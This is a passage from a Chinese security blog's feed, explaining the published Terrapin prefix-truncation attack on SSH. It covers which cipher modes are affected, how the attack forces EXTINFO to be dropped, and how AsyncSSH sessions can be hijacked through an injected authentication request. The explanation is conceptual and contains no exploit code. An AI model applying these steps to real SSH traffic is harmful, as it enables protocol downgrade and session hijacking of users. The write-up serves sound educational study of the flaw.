id="适用范围">适用范围</h4><p>攻击对于<code>ChaCha20Poly1305</code>这种<code>AEAD</code>的加密方式比较好，因为其使用的是近似于<code>EtM</code>的完整性校验（实际上更为松散），同样可以用于部分<code>CBC-EtM</code>模式中。但是，<code>CBC-EaM,CTR-EaM,GCM</code>这三种模式都是不受到这个攻击影响的。<br>理由：<br>这个理由牵扯到我们上一篇文章提到的<code>AEAD</code>的加密方式。因为这个攻击牵扯到遗弃数据包的动作，当我们尝试丢弃数据包的后，<code>EaM</code>这种完整性校验会察觉到数据包被丢弃，而<code>EtM</code>则<strong>有可能不会</strong>，因为<code>EaM</code>其实是对明文做的完整性校验，而<code>EtM</code>其实是对密文做的完整性校验，尤其<code>ChaCha20Poly1305</code>这种算法，它将序列号也放在了派生密钥的过程中，这样就意味着，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mi>e</mi><msub><mi>y</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">Key_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>就只能解开<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>n</mi><msub><mi>d</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">Snd_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord mathdefault">n</span><span class="mord"><span class="mord mathdefault">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>的数据包，这与我们想法一致，丢弃数据包的动作完全不会影响它的解密。</p><h5 id="cbc-etm-与出错处理">CBC-EtM 与出错处理</h5><p>实际上，某些算法中的<code>EtM</code>未就能够绕过check，例如<code>CTR-EtM</code>中，由于Counter的介入，当我们丢弃数据包的时候，Counter会发生错位，从而导致出错。所以，这里特指<code>CBC-EtM</code>。而<code>CBC-EtM</code>也并非完全可靠。我们举个例子，在CBC加密模式下，明文计算公式为:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mn>1</mn></msub><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>c</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><mi>I</mi><msub><mi>V</mi><mrow><mi>k</mi><mi>d</mi><mi>f</mi></mrow></msub></mrow><annotation encoding="application/x-tex">p_1 = Dec(c_1){\oplus}IV_{kdf}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.036108em;vertical-align:-0.286108em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mord mathdefault mtight">d</span><span class="mord mathdefault mtight" style="margin-right:0.10764em;">f</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>那么假设此时，我们使用扩展协议降级攻击，使得前面k个数据包丢失，那么此时的计算为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><mi>I</mi><msub><mi>V</mi><mrow><mi>k</mi><mi>d</mi><mi>f</mi></mrow></msub></mrow><annotation encoding="application/x-tex">p&#x27;_1 = Dec(c_{k+1}){\oplus}IV_{kdf}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.036108em;vertical-align:-0.286108em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mord mathdefault mtight">d</span><span class="mord mathdefault mtight" style="margin-right:0.10764em;">f</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>此时我们的p1值就是未知的了，而且可能是无效的。然而根据CBC的特性可知，此后的值都是没问题的：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mn>2</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msub><mi>p</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub></mrow><annotation encoding="application/x-tex">p&#x27;_2 = p_{k+2} = Dec(c_{k+2}){\oplus}c_{k+2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.638891em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>所以这里就产生了一个疑问，SSH究竟会如何处理这个可能有问题的数据包呢？这里有三种可能：</p><ul><li>数据包出错过于离谱，直接将数据包抛弃</li><li>数据包虽然出错，但是关键部分的数据是可以识别的，此时SSH会将这个包当作正常的数据包进行使用</li><li>数据包虽然能解析，但是无法解析，此时将数据包视为<code>UNKOWN</code>数据包，并且给出<code>UNIMPLEMENT</code>回显</li></ul><p>接下来，就会展示一些可能的攻击场景，描述当前攻击的可行性</p><h3 id="具体实例：-chacha20-poly1305">具体实例： ChaCha20-Poly1305</h3><p>SSH算法会在<code>NEWKEYS</code>阶段后，建立加密隧道，并且在加密信道中发送<code>EXTINFO</code>相关信息，提供一些扩展加密策略，从而防止各种形如<code>keystroke timing attack</code>的攻击策略。此时我们可以使用单个包的丢失阶段技巧后，可以使其丢弃对应的扩展加密策略，从而迫使其使用不太安全的通信策略：</p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn06.png" alt=""></p><h3 id="具体实例：-cbc-etm">具体实例： CBC-EtM.</h3><p>此攻击同样是逼迫SSH丢弃<code>EXTINFO</code>相关信息。然而正如前文所说，对于类似<code>CBC</code>这种模式，其解密逻辑原先如下:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mn>1</mn></msub><mo>=</mo><mi>I</mi><mi>V</mi><mo lspace="0em" rspace="0em">⊕</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_1 = IV{\oplus}Dec(C_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>如果我们用<code>IGNORE</code>丢弃一个数据包的话，数据会变成</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mo stretchy="false">?</mo><mo stretchy="false">)</mo><mo>=</mo><mi>I</mi><mi>V</mi><mo lspace="0em" rspace="0em">⊕</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><msub><mi>P</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mo stretchy="false">?</mo><mo stretchy="false">)</mo><mo>=</mo><mi>I</mi><mi>V</mi><mo lspace="0em" rspace="0em">⊕</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mspace linebreak="newline"></mspace><msub><mi>P</mi><mi>i</mi></msub><mo stretchy="false">(</mo><mo stretchy="false">?</mo><mo stretchy="false">)</mo><mo>=</mo><mi>I</mi><mi>V</mi><mo lspace="0em" rspace="0em">⊕</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_1(?) = IV{\oplus}Dec(C_2) \\ P_2(?) = IV{\oplus}Dec(C_3) \\ ...... \\ P_i(?) = IV{\oplus}Dec(C_{i+1})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mclose">?</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mclose">?</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.10556em;vertical-align:0em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mclose">?</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>这样有生成的所有密文都会被影响，从而使攻击失效。于是此时我们可以使用另一种策略强行让其丢弃<code>EXTINFO</code>，那就是使用一种服务器无法解析的<code>UNKNOWN</code>信息。此时服务端返回<code>UNIMPLEMENT</code>。这种办法可以迫使Server端使用<code>UNIMPELEMENT</code>数据包替换<code>EXTINFO</code>，这样办法就能保证往后的密文解析没问题</p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn07.png" alt=""></p><p>如图，首先通过在Client端发送<code>UNKNOWN</code>，使其能够保持对齐，然后通过在合适位置往Server端插入<code>UNKNOWN</code>信息，即可保证在通信过程中依然能够截获<code>EXT_INFO</code>。然而<code>UNIMPLEMENT</code>信息通常较短，可能会导致数据错位（没能填满Block，或者因为<code>EXT_INFO</code>导致错位等等）使得数据解密发生错误。然而，在部分SSH客户端中，我们可以使用<code>PING-PONG</code>包代替这种包，通过在<code>PING</code>数据包中塞入大量的数据，此时返回的<code>PING</code>将很有可能能够符合SSH客户端接受数据的要求，此时准确率就会提升非常多</p><h3 id="具体攻击-asyncssh">具体攻击 AsyncSSH</h3><p>如果说之前的说法都是理论上的泛泛而谈，这边就要举一个实际的例子：<a href="https://github.com/ronf/asyncssh">asyncssh</a>，这个库是一个python里面的有名的库。并且其就受到这种攻击的影响。这里介绍两种实际的攻击形式</p><h4 id="恶意使用extinfo">恶意使用<code>EXTINFO</code></h4><p>这里的打法和<code>ChaCha20-Poly1305</code>类似，不过将<code>IGNORE</code>替换成了指定的<code>EXTINFO</code>。理论上来说，<code>EXTINFO</code>应该在加密信道中进行接收，但是AsyncSSH可以接受任何时候发送的<code>EXTINFO</code>，于是配合前面提到的前缀截断攻击，可以将原先的安全的SSH协议替换成我们指定的SSH协议</p><h4 id="劫持ssh会话-要求有一个能够ssh的用户信息">劫持SSH会话，要求有一个能够SSH的用户信息</h4><p>这种攻击需要攻击者在这个SSH服务端上也有一个登陆凭证。这种攻击能够让用户以攻击者指定的用户登录，但是毫无察觉。在这种场景下，攻击者能轻易的获取受害者的所有输入，甚至作为一个伪造的SSH Agent存在。这种攻击如图</p><p><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A02/pwn08.png" alt=""></p><p>首先在客户的<code>NEWKEYS</code>之前，插入一个<code>USER_AUTHREQUEST</code>请求，这个请求中包含了攻击者指定的认证信息（最好使用<code>password</code>或者<code>publickey</code>机制）。此时，AsyncSSH的服务器端会认为其接收到了认证信息，但是由于还没有完成握手机制（<code>NEWKEYS</code>未完成），所以其仍会等待对应的流程完成。之后用户端发起<code>SERVICE_REQUEST</code>，要求进行认证后，服务端此时发送<code>SERVICE_ACCEPT</code>，表示可以进行认证。然而我们之前已经伪造了一个<code>USER_AUTHREQUEST</code>请求，此时AsyncSSH的服务端会认为我们已经完成了请求，于是返回<code>USERAUTH_SUCCESS</code>，表示可建立通讯通道。</p><p>期间为了防止Client的正常行为从而导致攻击者的登录被取代，以及防止Client察觉，这里故意将真正的<code>USER_AUTHREQUEST</code>滞后，此时当服务器端返回请求后，攻击者再将这个请求发往对面。然而此时因为认为通道已经建立，这个登录请求就被抛弃了。</p><p>Q：为什么这个时候还要发送真正的<code>USER_AUTHREQUEST</code>呢？<br>A：因为丢弃数据会引发<code>CBC-MtE</code>解密错误，所以只能延后，不能丢弃</p><h2 id="总结">总结</h2><p>这个攻击模型非常有趣，其中无论是利用SSH机制的部分，还是通过替换数据包 or 丢弃数据包从而绕过MAC完整性的办法都是非常有趣的地方。在今后的安全研究中，需要试着从不同的角度去考虑攻击场景以及防护场景，才能更好的对安全有一个广泛的认知。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;有了上篇的铺垫，这按开始正式的讲解Terrapin Attack&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于破壳平台 &lt;a href=&quot;https://mp.weixin.qq.com/s/axiHYAu54MdnMNKpJYGHbQ&quot;&gt;https://mp.weixin.qq.com/s/axiHYAu54MdnMNKpJYGHbQ&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="CVE" scheme="https://showlinkroom.me/tags/CVE/"/>
    
    <category term="SSH" scheme="https://showlinkroom.me/tags/SSH/"/>
    
    <category term="AEAD" scheme="https://showlinkroom.me/tags/AEAD/"/>
    
  </entry>
  
  <entry>
    <title>Terrapin Attack 学习</title>
    <link href="https://showlinkroom.me/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/"/>
    <id>https://showlinkroom.me/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/</id>
    <published>2024-01-21T09:17:51.000Z</published>
    <updated>2024-02-13T13:31:26.714Z</updated>
    
